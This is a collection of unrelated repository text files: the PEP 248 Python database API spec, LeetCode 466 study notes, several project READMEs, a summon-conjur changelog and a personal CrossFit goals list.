1. dplm20_overload
```

## Component Synopsis

* `dplm20_overload`. Provide mechanisms for building overloaded functions.

## Source Origins

The `dplm20_variant` component includes source code originally written by
Vicente J. Botet Escriba. That particular component has a Boost 1.0 License.

repository: camio/dpl

repo_name: camio/dpl


text:
There is a lander proof
of concept at https://github.com/MatthewNichols/operation-mars but this reboot will
start with ground operations as it seems to work better as a programming game.


text:
PEP: 248 Title: Python Database API Specification v1.0 Version:
$Revision$ Last-Modified: $Date$ Author<EMAIL_ADDRESS>(Marc-André
Lemburg) Discussions-To<EMAIL_ADDRESS>Status: Final Type:
Informational Content-Type: text/x-rst Created: Post-History:
Superseded-By: 249

Introduction
============

This API has been defined to encourage similarity between the Python
modules that are used to access databases. By doing this, we hope to
achieve a consistency leading to more easily understood modules, code
that is generally more portable across databases, and a broader reach of
database connectivity from Python.

This interface specification consists of several items:

-   Module Interface
-   Connection Objects
-   Cursor Objects
-   DBI Helper Objects

Comments and questions about this specification may be directed to the
SIG on Tabular Databases in Python (http://www.python.org/sigs/db-sig).

This specification document was last updated on: April 9, 1996. It will
be known as Version 1.0 of this specification.

Module Interface
================

The database interface modules should typically be named with something
terminated by `db`. Existing examples are: `oracledb`, `informixdb`, and
`pg95db`. These modules should export several names:

`modulename(connection_string)` Constructor for creating a connection to
the database. Returns a Connection Object.

`error` Exception raised for errors from the database module.

Connection Objects
==================

Connection Objects should respond to the following methods:

`close()` Close the connection now (rather than whenever `__del__` is
called). The connection will be unusable from this point forward; an
exception will be raised if any operation is attempted with the
connection.

`commit()` Commit any pending transaction to the database.

`rollback()` Roll the database back to the start of any pending
transaction.

`cursor()` Return a new Cursor Object. An exception may be thrown if the
database does not support a cursor concept.

`callproc([params])` (Note: this method is not well-defined yet.) Call a
stored database procedure with the given (optional) parameters. Returns
the result of the stored procedure.

(all Cursor Object attributes and methods) For databases that do not
have cursors and for simple applications that do not require the
complexity of a cursor, a Connection Object should respond to each of
the attributes and methods of the Cursor Object. Databases that have
cursor can implement this by using an implicit, internal cursor.

Cursor Objects
==============

These objects represent a database cursor, which is used to manage the
context of a fetch operation.

Cursor Objects should respond to the following methods and attributes:

`arraysize` This read/write attribute specifies the number of rows to
fetch at a time with `fetchmany()`. This value is also used when
inserting multiple rows at a time (passing a tuple/list of tuples/lists
as the params value to `execute()`). This attribute will default to a
single row.

Note that the arraysize is optional and is merely provided for higher
performance database interactions. Implementations should observe it
with respect to the `fetchmany()` method, but are free to interact with
the database a single row at a time.

`description` This read-only attribute is a tuple of 7-tuples. Each
7-tuple contains information describing each result column: (name,
type\_code, display\_size, internal\_size, precision, scale, null\_ok).
This attribute will be `None` for operations that do not return rows or
if the cursor has not had an operation invoked via the `execute()`
method yet.

The 'type\_code' is one of the 'dbi' values specified in the section
below.

Note: this is a bit in flux. Generally, the first two items of the
7-tuple will always be present; the others may be database specific.

`close()` Close the cursor now (rather than whenever `__del__` is
called). The cursor will be unusable from this point forward; an
exception will be raised if any operation is attempted with the cursor.

`execute(operation [,params])` Execute (prepare) a database operation
(query or command). Parameters may be provided (as a sequence
(e.g. tuple/list)) and will be bound to variables in the operation.
Variables are specified in a database-specific notation that is based on
the index in the parameter tuple (position-based rather than
name-based).

The parameters may also be specified as a sequence of sequences (e.g. a
list of tuples) to insert multiple rows in a single operation.

A reference to the operation will be retained by the cursor. If the same
operation object is passed in again, then the cursor can optimize its
behavior. This is most effective for algorithms where the same operation
is used, but different parameters are bound to it (many times).

For maximum efficiency when reusing an operation, it is best to use the
`setinputsizes()` method to specify the parameter types and sizes ahead
of time. It is legal for a parameter to not match the predefined
information; the implementation should compensate, possibly with a loss
of efficiency.

Using SQL terminology, these are the possible result values from the
`execute()` method:

-   If the statement is DDL (e.g. `CREATE TABLE`), then 1 is returned.

-   If the statement is DML (e.g. `UPDATE` or `INSERT`), then the number
    of rows affected is returned (0 or a positive integer).

-   If the statement is DQL (e.g. `SELECT`), `None` is returned,
    indicating that the statement is not really complete until you use
    one of the 'fetch' methods.

`fetchone()` Fetch the next row of a query result, returning a single
tuple.

`fetchmany([size])` Fetch the next set of rows of a query result,
returning as a list of tuples. An empty list is returned when no more
rows are available. The number of rows to fetch is specified by the
parameter. If it is `None`, then the cursor's arraysize determines the
number of rows to be fetched.

Note there are performance considerations involved with the size
parameter. For optimal performance, it is usually best to use the
arraysize attribute. If the size parameter is used, then it is best for
it to retain the same value from one `fetchmany()` call to the next.

`fetchall()` Fetch all rows of a query result, returning as a list of
tuples. Note that the cursor's arraysize attribute can affect the
performance of this operation.

`setinputsizes(sizes)` (Note: this method is not well-defined yet.) This
can be used before a call to `execute()` to predefine memory areas for
the operation's parameters. sizes is specified as a tuple -- one item
for each input parameter. The item should be a Type object that
corresponds to the input that will be used, or it should be an integer
specifying the maximum length of a string parameter. If the item is
`None`, then no predefined memory area will be reserved for that column
(this is useful to avoid predefined areas for large inputs).

This method would be used before the `execute()` method is invoked.

Note that this method is optional and is merely provided for higher
performance database interaction. Implementations are free to do nothing
and users are free to not use it.

`setoutputsize(size [,col])` (Note: this method is not well-defined
yet.)

Set a column buffer size for fetches of large columns (e.g. LONG). The
column is specified as an index into the result tuple. Using a column of
`None` will set the default size for all large columns in the cursor.

This method would be used before the `execute()` method is invoked.

Note that this method is optional and is merely provided for higher
performance database interaction. Implementations are free to do nothing
and users are free to not use it.

DBI Helper Objects
==================

Many databases need to have the input in a particular format for binding
to an operation's input parameters. For example, if an input is destined
for a `DATE` column, then it must be bound to the database in a
particular string format. Similar problems exist for "Row ID" columns or
large binary items (e.g. blobs or `RAW` columns). This presents problems
for Python since the parameters to the `execute()` method are untyped.
When the database module sees a Python string object, it doesn't know if
it should be bound as a simple CHAR column, as a raw binary item, or as
a `DATE`.

To overcome this problem, the 'dbi' module was created. This module
specifies some basic database interface types for working with
databases. There are two classes: 'dbiDate' and 'dbiRaw'. These are
simple container classes that wrap up a value. When passed to the
database modules, the module can then detect that the input parameter is
intended as a `DATE` or a `RAW`. For symmetry, the database modules will
return `DATE` and `RAW` columns as instances of these classes.

A Cursor Object's 'description' attribute returns information about each
of the result columns of a query. The 'type\_code' is defined to be one
of five types exported by this module: `STRING`, `RAW`, `NUMBER`,
`DATE`, or `ROWID`.

The module exports the following names:

`dbiDate(value)` This function constructs a 'dbiDate' instance that
holds a date value. The value should be specified as an integer number
of seconds since the "epoch" (e.g. `time.time()`).

`dbiRaw(value)` This function constructs a 'dbiRaw' instance that holds
a raw (binary) value. The value should be specified as a Python string.

`STRING` This object is used to describe columns in a database that are
string-based (e.g. CHAR).

`RAW` This object is used to describe (large) binary columns in a
database (e.g. LONG RAW, blobs).

`NUMBER` This object is used to describe numeric columns in a database.

`DATE` This object is used to describe date columns in a database.

`ROWID` This object is used to describe the "Row ID" column in a
database.

Acknowledgements
================

Many thanks go to Andrew Kuchling who converted the Python Database API
Specification 1.0 from the original HTML format into the PEP format.

Copyright
=========

This document has been placed in the Public Domain.

.. Local Variables: mode: indented-text indent-tabs-mode: nil End:

repository: erdal-pb/opep

repo_name: erdal-pb/opep


text:
## 466. Count The Repetitions

We define str = [s, n] as the string str which consists of the string s concatenated n times.

For example, str == ["abc", 3] =="abcabcabc".
We define that string s1 can be obtained from string s2 if we can remove some characters from s2 such that it becomes s1.

For example, s1 = "abc" can be obtained from s2 = "abdbec" based on our definition by removing the bolded underlined characters.
You are given two strings s1 and s2 and two integers n1 and n2. You have the two strings str1 = [s1, n1] and str2 = [s2, n2].

Return the maximum integer m such that str = [str2, m] can be obtained from str1.

* str1 = s1*n1
* s2*n*m can be obtained from str1, which means, we can delete some char in s1*n1 to be s2*n*m

So, still binary search m?

Let me see the std.

* If the s2 has N duplicates in str1, then str2 has N/n2 duplicates in str1.
* Because, we can match s1 in s2, but also, match s1 in s2*2. For example, if we want to match 'bac' in 'abc', we must match the ac after b in the next concact string. Therefore, we store a nextstate varaible to store next position of current match character.

e.g., s2 = bcaa

```
j --------------->  1 2    3 0 1      2    3 0 1      2    3 0
str1 -------------> abacb | abacb | abacb | abacb | abacb | abacb

repeatCount ----->    0  |   1   |   1   |   2   |   2   |   3

nextIndex ------->    2  |   1   |   2   |   1   |   2   |   1
```

we can see at first, the next index is 2, because  bc match, but we need to find the a, the index of a in s2 is 2. Therefore, the nextIndex is 2. also, we match, aab in the second s2, and we want to match a, therefore the nextIndex is 1.

We can also observe that pigenhole principle, after matching several times (nextIndex is in 0, s2.size() - 1, after iterate s2.size() +1 times of s1, we will have the duplicates). Thus, we can count one by one before finding the pattern. repeat = (n1 - end) / pattern length.

Also, to find the duplicates string in the repeat, the std use a accumlated sum. The most beautiful code

```
// because we will have some duplicates in the tail of the end, we just move these part to the start
int remainCnt = repeatCnt[start + (n1 - start) % interval];
```

We can see that, start => before the pattern, and the duplicates in the tail. (n1-start) % interval. Because it's the same pattern, we can move these part to the duplicate one directly. How genius idea!

I think in this question, the most important thing is to finding the pattern and code the pattern. We use a nextindex to code some string in the next duplicates. I guess this is reason why the problem give me s1*n1!


text:
React wrapper for [Selectize ](http://brianreavis.github.io/selectize.js/)
===============

##NO LONGER MAINTAINED

**The package was made as temporary solution and will be no longer maintained.
Although you can still use it i would strongly recommend to switch for mature React UI library [material-ui](https://github.com/callemall/material-ui) or alike.**

I have made simple React wrapper around selectize primarily for myself.
But if you find it helpful, fill free to use.

And of course fill free to add merge requests or register issues.
I will try to handle it as soon as i can.

#Changelog
- 07.04.2014 Fixed issue when selectize`s dropdown was reopenning after onChange event
- 10.04.2014 Added ability to pass classes through props ('control-group' class removed)
- 09.04.2015 Update for React v0.13. Incoroprate some PR. Mark as Obsolete.

repository: ggarek/react-selectize

gha_language: HTML

repo_name: ggarek/react-selectize


text:
# Changelog
All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).

## [Unreleased]

## [v0.5.3](https://github.com/cyberark/summon-conjur/releases/tag/v0.5.3) - 2019-02-06
### Changed
- Go modules are now used for dependency management
- Newer goreleaser syntax is used to build artifacts
- Fixed issues with spaces in variable IDs (via conjur-api-go version increase)
- Fixed issues with homedir pathing (via conjur-api-go version increase)

## [v0.5.2](https://github.com/cyberark/summon-conjur/releases/tag/v0.5.2) - 2018-08-06
### Added
- deb and rpm packages
- homebrew formula
### Changed
- Update build/package process to use [goreleaser](https://github.com/goreleaser/goreleaser).

## [v0.5.1](https://github.com/cyberark/summon-conjur/releases/tag/v0.5.1) - 2018-07-19
### Added
- Add some logging to help debug configuration [PR #31](https://github.com/cyberark/summon-conjur/pull/31).
### Changed
- Update to the latest version of conjur-api-go.

## [v0.5.0](https://github.com/cyberark/summon-conjur/releases/tag/v0.5.0) - 2017-11-20
### Added
- Support new v5 token format and summon-conjur version flag [PR #23](https://github.com/cyberark/summon-conjur/pull/23).

## [v0.4.0](https://github.com/cyberark/summon-conjur/releases/tag/v0.4.0) - 2017-09-19
### Changed
- Support v4, https and configuration from machine identity files, [PR #20](https://github.com/cyberark/summon-conjur/pull/20).

## [v0.3.0](https://github.com/cyberark/summon-conjur/releases/tag/v0.3.0) - 2017-08-16
### Changed
- Provider updated to use [cyberark/conjur-api-go](https://github.com/cyberark/conjur-api-go). This provides compatibility with [cyberark/conjur](https://github.com/cyberark/conjur), Conjur 5 CE. PR [#13](https://github.com/cyberark/summon-conjur/pull/13).

## [v0.2.0](https://github.com/cyberark/summon-conjur/releases/tag/v0.2.0) - 2016-07-20
### Added
- `CONJUR_SSL_CERTIFICATE` can now be passed (content of cert file) [#3](https://github.com/conjurinc/summon-conjur/issues/3)
- netrc file is now only read if required [#4](https://github.com/conjurinc/summon-conjur/issues/4)
- `CONJUR_AUTHN_TOKEN` can now be used for identity [#5](https://github.com/conjurinc/summon-conjur/issues/5)

## [v0.1.4](https://github.com/cyberark/summon-conjur/releases/tag/v0.1.4) - 2016-02-29
### Fixed
- A friendly error is now returned when no argument is given [GH-2](https://github.com/conjurinc/summon-conjur/issues/2)

## [v0.1.3](https://github.com/cyberark/summon-conjur/releases/tag/v0.1.3) - 2016-02-24
### Changed
- Config now looks at `netrc_path` in conjurrc to find identity.file

## [v0.1.2](https://github.com/cyberark/summon-conjur/releases/tag/v0.1.2) - 2015-12-09
### Changed
- Config now uses env var `CONJUR_AUTHN_API_KEY` instead of `CONJUR_API_KEY`.

## [v0.1.1](https://github.com/cyberark/summon-conjur/releases/tag/v0.1.1) - 2015-10-08
### Fixed
- Fixed an issue authenticating hosts - `/` is now properly escaped.

## [v0.1.0](https://github.com/cyberark/summon-conjur/releases/tag/v0.1.0) - 2015-06-04
### Added
- Initial release

repository: apotterri/summon-conjur

repo_name: apotterri/summon-conjur


text:
# Client-Server Chat Room

This project is a chat room with one server and multiple clients. The server provides a
chat room for clients to join. After joining the chat, the clients can send messages to the chat
room where all chat messages are logged and displayed.

### Getting Started

1. Open a terminal and create a chat room by running Server.py
``` bash
cd <root>
python Server.py
```

2. In another terminal, create and add a client to the chat room by running Client.py
``` bash
python Client.py [name] # Don't forget to declare the client's name
```

3. You can add more clients in the room by running more Client.py in more terminals.

4. Let's have a chat!

### Demo

1. First, open 3 terminals and run the code as following.

![3 terminals](/resources/pic1.png)

2. Send messages from Person_A and Person_B to the chat room. Everyone in the room received messages immediately.

![3 terminals](/resources/pic2.png)

### Contributors

* [Janejira Aroonnual](#)
* [Tanakorn Pisnupoomi](https://github.com/intaniger)
* [Pollawat Hongwimol](https://github.com/tongplw/)
* [Prawsang Chayakulkeeree](https://github.com/prawsang)


text:
# pyramid-peewee-api-sample
JSON API server with pyramid and peewee

## Getting Started

- cd <directory containing this file>

- $VENV/bin/pip install -e .

- $VENV/bin/pserve development.ini


text:
---
layout: page
title: Personal Goals
permalink: /personal_goals/
---

This is just a running list of my goals related to CrossFit.

### Measurable goals!
- [ ] Learn butterfly pullups
- [ ] Handstand push up
- [ ] Handstand walk
- [ ] Double Unders
- [X] Toes to bars
- [X] Bar muscle up: 2020/01/12 BABY
- Olympic Lift Goals
    - Single rep; At bodyweight (150lbs)
        - [X] Deadlift (BW+50lb)
        - [X] Back squat (BW+15lb)
        - [X] Front squat (BW+5lb)
        - [ ] Overhead squat
        - [ ] Push Press
        - [ ] Overhead Press
        - [ ] Power Clean
        - [ ] Clean
        - [ ] Power Snatch
        - [ ] Snatch

### Subjective goals
- Become stronger
- Improve flexibility and mobility
- Become comfortable with Olympic lifting

### Max So Far

These are the heaviest weights I've done the movement with.

- Deadlift: 200lb - Aim for 220lb _(5 reps; Was hard but did not super struggle; Standard: 213lb)_
- Front Squat: 155lb - Aim for ???lb _(5 reps; 1RM should only be a handful of pounds more - last rep was a fight; Standard: 147lb)_
- Back Squat: 175lb - Aim for 180lb _(1RM; Hard but think can do at least 180 for 1RM; Standard: 177lb)_
- Overhead Squat: 100lb - Aim for 105lb _(2 snatch balance 2 ohs from rack; 1RM could be some more; Standard: 98lb)_
- Squat Snatch: 95lb - Aim for 105lb _(For 1 rep pull-snatch-squat complex; Standard: 102lb)_
- Power Snatch: 100lb - Aim for 115lb_(1RM; Standard: 98lb)_
- Squat Clean: 145lb - Aim for 155lb _(2 hang squat clean 2 split jerk complex - kinda wobbly but think i can do 1RM at least 155lb; Standard: 138lb)_
- Power Clean: 145lb - Aim for 155lb _(5x (every 20 sec) powclean+pushjerk hard but 1rm can be more i think; Standard: 131lb)_
- Strict Overhead Press: 75lb - Aim for 85lb _(5 reps; Struggled; Standard: 85lb)_
- Bench Press: 125lb - Aim for 135lb _(1RM; Standard: 133lb)_
- Close-grip Bench Press: 105lb - Aim for 115lb _(5 reps)_
- Thruster: 95lb - Aim for 115lb _(3 reps; Standard: 96lb)_
- Clean & Jerk: 145lb - Aim for 155lb _(2 hang squat clean 2 split jerk complex - kinda wobbly but think i can do 1RM at least 155lb; Standard: 127lb)_
- Push Jerk: 145lb - Aim for 155lb _(5x (every 20 sec) powclean+pushjerk hard but 1rm can be more i think; Standard: 122lb)_

gha_language: CSS